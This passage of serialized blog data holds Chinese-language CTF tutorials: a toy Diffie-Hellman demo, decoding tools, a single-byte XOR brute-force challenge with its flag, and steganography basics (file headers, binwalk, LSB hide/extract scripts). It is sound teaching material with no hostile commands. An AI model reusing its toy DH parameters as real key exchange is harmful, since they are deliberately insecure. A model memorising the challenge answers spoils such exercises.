要解决的问题",[15,4761,4762],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[271,4764,4766],{"id":4765},"_52-流程","5.2 流程",[15,4768,4769,4771],{},[138,4770,519],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,4773,4774,4776],{},[138,4775,528],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[2751,4778,4779,4787,4796,4804],{},[880,4780,4781,4782,4784,4785,789],{},"双方公开约定大素数 ",[26,4783,15],{}," 与生成元 ",[26,4786,2063],{},[880,4788,4789,4790,4792,4793,789],{},"Alice 选私钥 ",[26,4791,4440],{},"，发送 ",[26,4794,4795],{},"A = g^a mod p",[880,4797,4798,4799,4792,4801,789],{},"Bob 选私钥 ",[26,4800,2956],{},[26,4802,4803],{},"B = g^b mod p",[880,4805,4806,4807,1854,4810,4813,4814,789],{},"双方分别计算 ",[26,4808,4809],{},"B^a mod p",[26,4811,4812],{},"A^b mod p","，得到相同值 ",[26,4815,4816],{},"g^(ab) mod p",[271,4818,4820],{"id":4819},"_53-最小实现","5.3 最小实现",[19,4822,4824],{"className":3199,"code":4823,"language":3201,"meta":24,"style":24},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[26,4825,4826,4831,4836,4841,4846,4851,4855,4860,4865,4870,4875,4880,4884,4889,4894,4899,4904,4909,4913,4918,4923,4928,4933,4938],{"__ignoreMap":24},[29,4827,4828],{"class":31,"line":32},[29,4829,4830],{},"p, g = 0xffffffffffffffc5, 2\n",[29,4832,4833],{"class":31,"line":166},[29,4834,4835],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[29,4837,4838],{"class":31,"line":184},[29,4839,4840],{},"# g：生成元，双方公开约定。\n",[29,4842,4843],{"class":31,"line":196},[29,4844,4845],{},"a, b = 1234567, 7654321\n",[29,4847,4848],{"class":31,"line":206},[29,4849,4850],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[29,4852,4853],{"class":31,"line":221},[29,4854,225],{"emptyLinePlaceholder":224},[29,4856,4857],{"class":31,"line":228},[29,4858,4859],{},"A = pow(g, a, p)\n",[29,4861,4862],{"class":31,"line":234},[29,4863,4864],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[29,4866,4867],{"class":31,"line":246},[29,4868,4869],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[29,4871,4872],{"class":31,"line":376},[29,4873,4874],{},"B = pow(g, b, p)\n",[29,4876,4877],{"class":31,"line":382},[29,4878,4879],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[29,4881,4882],{"class":31,"line":388},[29,4883,225],{"emptyLinePlaceholder":224},[29,4885,4886],{"class":31,"line":394},[29,4887,4888],{},"s_alice = pow(B, a, p)\n",[29,4890,4891],{"class":31,"line":400},[29,4892,4893],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[29,4895,4896],{"class":31,"line":405},[29,4897,4898],{},"s_bob = pow(A, b, p)\n",[29,4900,4901],{"class":31,"line":411},[29,4902,4903],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[29,4905,4906],{"class":31,"line":417},[29,4907,4908],{},"# 两个结果相等，这就是共享密钥。\n",[29,4910,4911],{"class":31,"line":422},[29,4912,225],{"emptyLinePlaceholder":224},[29,4914,4915],{"class":31,"line":428},[29,4916,4917],{},"print(\"A =\", A)\n",[29,4919,4920],{"class":31,"line":434},[29,4921,4922],{},"print(\"B =\", B)\n",[29,4924,4925],{"class":31,"line":440},[29,4926,4927],{},"print(\"Alice 计算:\", s_alice)\n",[29,4929,4930],{"class":31,"line":446},[29,4931,4932],{},"print(\"Bob 计算:\", s_bob)\n",[29,4934,4935],{"class":31,"line":452},[29,4936,4937],{},"print(\"一致:\", s_alice == s_bob)\n",[29,4939,4940],{"class":31,"line":458},[29,4941,4942],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,4944,4372],{},[19,4946,4949],{"className":4947,"code":4948,"language":63,"meta":24},[61],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[26,4950,4948],{"__ignoreMap":24},[15,4952,4953,4954,4957,4958,4960],{},"窃听者只能看到 ",[26,4955,4956],{},"p, g, A, B","，要算出 ",[26,4959,4440],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,4962,2999],{"id":2998},[271,4964,4966],{"id":4965},"工具-1cyberchef","工具 1：CyberChef",[15,4968,4969],{},"浏览器工具，三个常用操作：",[70,4971,4972,4982],{},[73,4973,4974],{},[76,4975,4976,4979],{},[79,4977,4978],{},"操作",[79,4980,4981],{},"用法",[86,4983,4984,4992,5000],{},[76,4985,4986,4989],{},[91,4987,4988],{},"From Base64",[91,4990,4991],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[76,4993,4994,4997],{},[91,4995,4996],{},"From Hex",[91,4998,4999],{},"拖入 From Hex 解码十六进制",[76,5001,5002,5005],{},[91,5003,5004],{},"Magic",[91,5006,5007],{},"直接粘贴未知文本，自动猜测编码方式",[271,5009,5011],{"id":5010},"工具-2python-标准库","工具 2：Python 标准库",[19,5013,5015],{"className":3199,"code":5014,"language":3201,"meta":24,"style":24},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[26,5016,5017,5022,5026,5031,5036],{"__ignoreMap":24},[29,5018,5019],{"class":31,"line":32},[29,5020,5021],{},"import base64, binascii\n",[29,5023,5024],{"class":31,"line":166},[29,5025,225],{"emptyLinePlaceholder":224},[29,5027,5028],{"class":31,"line":184},[29,5029,5030],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[29,5032,5033],{"class":31,"line":196},[29,5034,5035],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[29,5037,5038],{"class":31,"line":206},[29,5039,5040],{},"print(ord('A'))                       # 65，ASCII 编码\n",[271,5042,5044],{"id":5043},"工具-3pycryptodome","工具 3：pycryptodome",[15,5046,5047],{},"CTF 密码学最常用的库，三个函数：",[19,5049,5051],{"className":3199,"code":5050,"language":3201,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[26,5052,5053,5058,5062,5067,5072],{"__ignoreMap":24},[29,5054,5055],{"class":31,"line":32},[29,5056,5057],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[29,5059,5060],{"class":31,"line":166},[29,5061,225],{"emptyLinePlaceholder":224},[29,5063,5064],{"class":31,"line":184},[29,5065,5066],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[29,5068,5069],{"class":31,"line":196},[29,5070,5071],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[29,5073,5074],{"class":31,"line":206},[29,5075,5076],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,5078,4372],{},[19,5080,5083],{"className":5081,"code":5082,"language":63,"meta":24},[61],"5\nb'flag'\n1718378855\n",[26,5084,5082],{"__ignoreMap":24},[10,5086,5088],{"id":5087},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,5090,5091],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[19,5093,5095],{"className":5094,"code":4519,"language":63,"meta":24},[61],[26,5096,4519],{"__ignoreMap":24},[15,5098,5099],{},"解题脚本：",[15,5101,5102,5104,5105,5107],{},[138,5103,528],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[26,5106,4538],{}," 前缀过滤正确结果。",[19,5109,5111],{"className":3199,"code":5110,"language":3201,"meta":24,"style":24},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[26,5112,5113,5118,5123,5127,5132,5136,5140,5144,5149,5153,5158,5163],{"__ignoreMap":24},[29,5114,5115],{"class":31,"line":32},[29,5116,5117],{},"from binascii import unhexlify\n",[29,5119,5120],{"class":31,"line":166},[29,5121,5122],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[29,5124,5125],{"class":31,"line":184},[29,5126,225],{"emptyLinePlaceholder":224},[29,5128,5129],{"class":31,"line":196},[29,5130,5131],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[29,5133,5134],{"class":31,"line":206},[29,5135,225],{"emptyLinePlaceholder":224},[29,5137,5138],{"class":31,"line":221},[29,5139,4567],{},[29,5141,5142],{"class":31,"line":228},[29,5143,4577],{},[29,5145,5146],{"class":31,"line":234},[29,5147,5148],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[29,5150,5151],{"class":31,"line":246},[29,5152,4592],{},[29,5154,5155],{"class":31,"line":376},[29,5156,5157],{},"        print(\"key =\", k)          # 预期 66\n",[29,5159,5160],{"class":31,"line":382},[29,5161,5162],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[29,5164,5165],{"class":31,"line":388},[29,5166,4612],{},[15,5168,4372],{},[19,5170,5172],{"className":5171,"code":4623,"language":63,"meta":24},[61],[26,5173,4623],{"__ignoreMap":24},[10,5175,3296],{"id":3295},[15,5177,5178],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1990,5180,5181],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":24,"searchDepth":166,"depth":166,"links":5183},[5184,5185,5186,5187,5188,5189,5190,5191],{"id":4209,"depth":184,"text":4210},{"id":2085,"depth":184,"text":2086},{"id":4448,"depth":184,"text":4449},{"id":4675,"depth":184,"text":4676},{"id":4754,"depth":184,"text":4755},{"id":2998,"depth":184,"text":2999},{"id":5087,"depth":184,"text":5088},{"id":3295,"depth":184,"text":3296},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":2008,"image":5194,"alt":5195,"tags":5196,"published":224},"/blogs-img/blog3.png","CTF 密码学入门",[788,5197,2013],"crypto","/blogs/ctf-crypto-overview",{"title":4204,"description":5192},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":5203,"title":5204,"body":5205,"description":6159,"extension":2006,"meta":6160,"navigation":224,"ogImage":6161,"path":6165,"seo":6166,"stem":6167,"__hash__":6168},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":5206,"toc":6149},[5207,5211,5221,5224,5284,5286,5319,5323,5327,5332,5337,5349,5351,5357,5364,5387,5391,5396,5419,5421,5427,5437,5441,5446,5457,5478,5481,5485,5488,5501,5503,5509,5512,5526,5533,5540,5551,5555,5559,5562,5568,5571,5575,5580,5783,5797,5801,5806,5811,5941,5943,5949,5953,5978,5984,5986,6057,6061,6066,6069,6080,6085,6088,6106,6109,6112,6122,6125,6128,6133,6135,6146],[10,5208,5210],{"id":5209},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,5212,5213,5214,5217,5218,789],{},"操作系统按扩展名选择打开程序（",[26,5215,5216],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[138,5219,5220],{},"先看文件头，再信扩展名",[15,5222,5223],{},"必须记住的三个文件头：",[70,5225,5226,5239],{},[73,5227,5228],{},[76,5229,5230,5233,5236],{},[79,5231,5232],{},"文件",[79,5234,5235],{},"文件头（hex）",[79,5237,5238],{},"明文",[86,5240,5241,5256,5269],{},[76,5242,5243,5246,5251],{},[91,5244,5245],{},"PNG",[91,5247,5248],{},[26,5249,5250],{},"89 50 4E 47 0D 0A 1A 0A",[91,5252,5253],{},[26,5254,5255],{},"‰PNG",[76,5257,5258,5261,5266],{},[91,5259,5260],{},"JPEG",[91,5262,5263],{},[26,5264,5265],{},"FF D8 FF",[91,5267,5268],{},"—",[76,5270,5271,5274,5279],{},[91,5272,5273],{},"ZIP",[91,5275,5276],{},[26,5277,5278],{},"50 4B 03 04",[91,5280,5281],{},[26,5282,5283],{},"PK",[10,5285,2086],{"id":2085},[19,5287,5289],{"className":21,"code":5288,"language":23,"meta":24,"style":24},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[26,5290,5291,5310],{"__ignoreMap":24},[29,5292,5293,5295,5297,5299,5301,5304,5307],{"class":31,"line":32},[29,5294,169],{"class":35},[29,5296,172],{"class":47},[29,5298,2103],{"class":47},[29,5300,2106],{"class":47},[29,5302,5303],{"class":47}," binwalk",[29,5305,5306],{"class":47}," foremost",[29,5308,5309],{"class":47}," exiftool\n",[29,5311,5312,5314,5316],{"class":31,"line":166},[29,5313,3378],{"class":35},[29,5315,172],{"class":47},[29,5317,5318],{"class":47}," pillow\n",[10,5320,5322],{"id":5321},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[271,5324,5326],{"id":5325},"_31-file看真实类型","3.1 file：看真实类型",[15,5328,5329,5331],{},[138,5330,519],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,5333,5334,5336],{},[138,5335,542],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[19,5338,5340],{"className":21,"code":5339,"language":23,"meta":24,"style":24},"file hidden.png\n",[26,5341,5342],{"__ignoreMap":24},[29,5343,5344,5346],{"class":31,"line":32},[29,5345,2152],{"class":35},[29,5347,5348],{"class":47}," hidden.png\n",[15,5350,4372],{},[19,5352,5355],{"className":5353,"code":5354,"language":63,"meta":24},[61],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[26,5356,5354],{"__ignoreMap":24},[15,5358,5359,5360,5363],{},"如果输出是 ",[26,5361,5362],{},"Zip archive data","，说明文件其实是 zip：",[19,5365,5367],{"className":21,"code":5366,"language":23,"meta":24,"style":24},"mv flag.png flag.zip && unzip flag.zip\n",[26,5368,5369],{"__ignoreMap":24},[29,5370,5371,5374,5377,5380,5382,5384],{"class":31,"line":32},[29,5372,5373],{"class":35},"mv",[29,5375,5376],{"class":47}," flag.png",[29,5378,5379],{"class":47}," flag.zip",[29,5381,2743],{"class":1035},[29,5383,2722],{"class":35},[29,5385,5386],{"class":47}," flag.zip\n",[271,5388,5390],{"id":5389},"_32-xxd看文件头","3.2 xxd：看文件头",[15,5392,5393,5395],{},[138,5394,519],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[19,5397,5399],{"className":21,"code":5398,"language":23,"meta":24,"style":24},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[26,5400,5401,5414],{"__ignoreMap":24},[29,5402,5403,5406,5409,5412],{"class":31,"line":32},[29,5404,5405],{"class":35},"xxd",[29,5407,5408],{"class":39}," -l",[29,5410,5411],{"class":39}," 16",[29,5413,5348],{"class":47},[29,5415,5416],{"class":31,"line":166},[29,5417,5418],{"class":162},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,5420,4372],{},[19,5422,5425],{"className":5423,"code":5424,"language":63,"meta":24},[61],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[26,5426,5424],{"__ignoreMap":24},[15,5428,5429,5430,5433,5434,789],{},"开头的 ",[26,5431,5432],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[26,5435,5436],{},".PNG",[271,5438,5440],{"id":5439},"_33-strings搜字符串","3.3 strings：搜字符串",[15,5442,5443,5445],{},[138,5444,519],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,5447,5448,324,5450,5452,5453,5456],{},[138,5449,528],{},[26,5451,2195],{}," 把可打印字符串抽出来，",[26,5454,5455],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[19,5458,5460],{"className":21,"code":5459,"language":23,"meta":24,"style":24},"strings flag.png | grep -i flag\n",[26,5461,5462],{"__ignoreMap":24},[29,5463,5464,5466,5468,5470,5472,5475],{"class":31,"line":32},[29,5465,2195],{"class":35},[29,5467,5376],{"class":47},[29,5469,2381],{"class":1044},[29,5471,2384],{"class":35},[29,5473,5474],{"class":39}," -i",[29,5476,5477],{"class":47}," flag\n",[15,5479,5480],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,5482,5484],{"id":5483},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,5486,5487],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[19,5489,5491],{"className":21,"code":5490,"language":23,"meta":24,"style":24},"binwalk flag.png\n",[26,5492,5493],{"__ignoreMap":24},[29,5494,5495,5498],{"class":31,"line":32},[29,5496,5497],{"class":35},"binwalk",[29,5499,5500],{"class":47}," flag.png\n",[15,5502,504],{},[19,5504,5507],{"className":5505,"code":5506,"language":63,"meta":24},[61],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[26,5508,5506],{"__ignoreMap":24},[15,5510,5511],{},"提取：",[19,5513,5515],{"className":21,"code":5514,"language":23,"meta":24,"style":24},"binwalk -e flag.png\n",[26,5516,5517],{"__ignoreMap":24},[29,5518,5519,5521,5524],{"class":31,"line":32},[29,5520,5497],{"class":35},[29,5522,5523],{"class":39}," -e",[29,5525,5500],{"class":47},[15,5527,5528,5529,5532],{},"会在当前目录生成 ",[26,5530,5531],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,5534,5535,5536,5539],{},"备选工具 ",[26,5537,5538],{},"foremost","（按文件头暴力切割）：",[19,5541,5543],{"className":21,"code":5542,"language":23,"meta":24,"style":24},"foremost flag.png\n",[26,5544,5545],{"__ignoreMap":24},[29,5546,5547,5549],{"class":31,"line":32},[29,5548,5538],{"class":35},[29,5550,5500],{"class":47},[10,5552,5554],{"id":5553},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[271,5556,5558],{"id":5557},"_51-原理","5.1 原理",[15,5560,5561],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[19,5563,5566],{"className":5564,"code":5565,"language":63,"meta":24},[61],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[26,5567,5565],{"__ignoreMap":24},[15,5569,5570],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[271,5572,5574],{"id":5573},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,5576,5577,5579],{},[138,5578,519],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[19,5581,5583],{"className":3199,"code":5582,"language":3201,"meta":24,"style":24},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[26,5584,5585,5590,5595,5599,5604,5609,5614,5619,5623,5628,5633,5638,5643,5648,5653,5658,5663,5667,5672,5677,5682,5687,5692,5697,5702,5707,5713,5719,5724,5730,5736,5742,5748,5753,5759,5765,5771,5777],{"__ignoreMap":24},[29,5586,5587],{"class":31,"line":32},[29,5588,5589],{},"from PIL import Image\n",[29,5591,5592],{"class":31,"line":166},[29,5593,5594],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[29,5596,5597],{"class":31,"line":184},[29,5598,225],{"emptyLinePlaceholder":224},[29,5600,5601],{"class":31,"line":196},[29,5602,5603],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[29,5605,5606],{"class":31,"line":206},[29,5607,5608],{},"# Image.new(mode, size, color)：新建一张图片。\n",[29,5610,5611],{"class":31,"line":221},[29,5612,5613],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[29,5615,5616],{"class":31,"line":228},[29,5617,5618],{},"message = \"flag{lsb_steganography}\"\n",[29,5620,5621],{"class":31,"line":234},[29,5622,225],{"emptyLinePlaceholder":224},[29,5624,5625],{"class":31,"line":246},[29,5626,5627],{},"data = message.encode() + b'\\x00'\n",[29,5629,5630],{"class":31,"line":376},[29,5631,5632],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[29,5634,5635],{"class":31,"line":382},[29,5636,5637],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[29,5639,5640],{"class":31,"line":388},[29,5641,5642],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[29,5644,5645],{"class":31,"line":394},[29,5646,5647],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[29,5649,5650],{"class":31,"line":400},[29,5651,5652],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[29,5654,5655],{"class":31,"line":405},[29,5656,5657],{},"pixels = list(img.getdata())\n",[29,5659,5660],{"class":31,"line":411},[29,5661,5662],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[29,5664,5665],{"class":31,"line":417},[29,5666,225],{"emptyLinePlaceholder":224},[29,5668,5669],{"class":31,"line":422},[29,5670,5671],{},"new_pixels = []\n",[29,5673,5674],{"class":31,"line":428},[29,5675,5676],{},"i = 0\n",[29,5678,5679],{"class":31,"line":434},[29,5680,5681],{},"for r, g, b in pixels:\n",[29,5683,5684],{"class":31,"line":440},[29,5685,5686],{},"    if i \u003C len(bits):\n",[29,5688,5689],{"class":31,"line":446},[29,5690,5691],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[29,5693,5694],{"class":31,"line":452},[29,5695,5696],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[29,5698,5699],{"class":31,"line":458},[29,5700,5701],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[29,5703,5705],{"class":31,"line":5704},25,[29,5706,5686],{},[29,5708,5710],{"class":31,"line":5709},26,[29,5711,5712],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[29,5714,5716],{"class":31,"line":5715},27,[29,5717,5718],{},"        # 绿色通道同样处理。\n",[29,5720,5722],{"class":31,"line":5721},28,[29,5723,5686],{},[29,5725,5727],{"class":31,"line":5726},29,[29,5728,5729],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[29,5731,5733],{"class":31,"line":5732},30,[29,5734,5735],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[29,5737,5739],{"class":31,"line":5738},31,[29,5740,5741],{},"    new_pixels.append((r, g, b))\n",[29,5743,5745],{"class":31,"line":5744},32,[29,5746,5747],{},"    # 修改后的像素放入新列表。\n",[29,5749,5751],{"class":31,"line":5750},33,[29,5752,225],{"emptyLinePlaceholder":224},[29,5754,5756],{"class":31,"line":5755},34,[29,5757,5758],{},"img.putdata(new_pixels)\n",[29,5760,5762],{"class":31,"line":5761},35,[29,5763,5764],{},"# putdata()：把新像素列表写回图片对象。\n",[29,5766,5768],{"class":31,"line":5767},36,[29,5769,5770],{},"img.save('hidden.png')\n",[29,5772,5774],{"class":31,"line":5773},37,[29,5775,5776],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[29,5778,5780],{"class":31,"line":5779},38,[29,5781,5782],{},"print(\"已生成 hidden.png\")\n",[15,5784,5785,5788,5789,5792,5793,5796],{},[26,5786,5787],{},"r & 0xfe"," 把最低位清零（",[26,5790,5791],{},"0xfe = 11111110","），",[26,5794,5795],{},"| bit"," 写入目标比特。",[271,5798,5800],{"id":5799},"_53-提取解题视角","5.3 提取（解题视角）",[15,5802,5803,5805],{},[138,5804,519],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,5807,5808,5810],{},[138,5809,528],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[19,5812,5814],{"className":3199,"code":5813,"language":3201,"meta":24,"style":24},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[26,5815,5816,5820,5824,5829,5834,5839,5844,5849,5854,5859,5864,5868,5873,5878,5883,5888,5893,5898,5903,5908,5913,5918,5922,5927,5931,5936],{"__ignoreMap":24},[29,5817,5818],{"class":31,"line":32},[29,5819,5589],{},[29,5821,5822],{"class":31,"line":166},[29,5823,225],{"emptyLinePlaceholder":224},[29,5825,5826],{"class":31,"line":184},[29,5827,5828],{},"img = Image.open('hidden.png').convert('RGB')\n",[29,5830,5831],{"class":31,"line":196},[29,5832,5833],{},"# Image.open(path)：打开图片文件。\n",[29,5835,5836],{"class":31,"line":206},[29,5837,5838],{},"# .convert('RGB')：统一转成 RGB 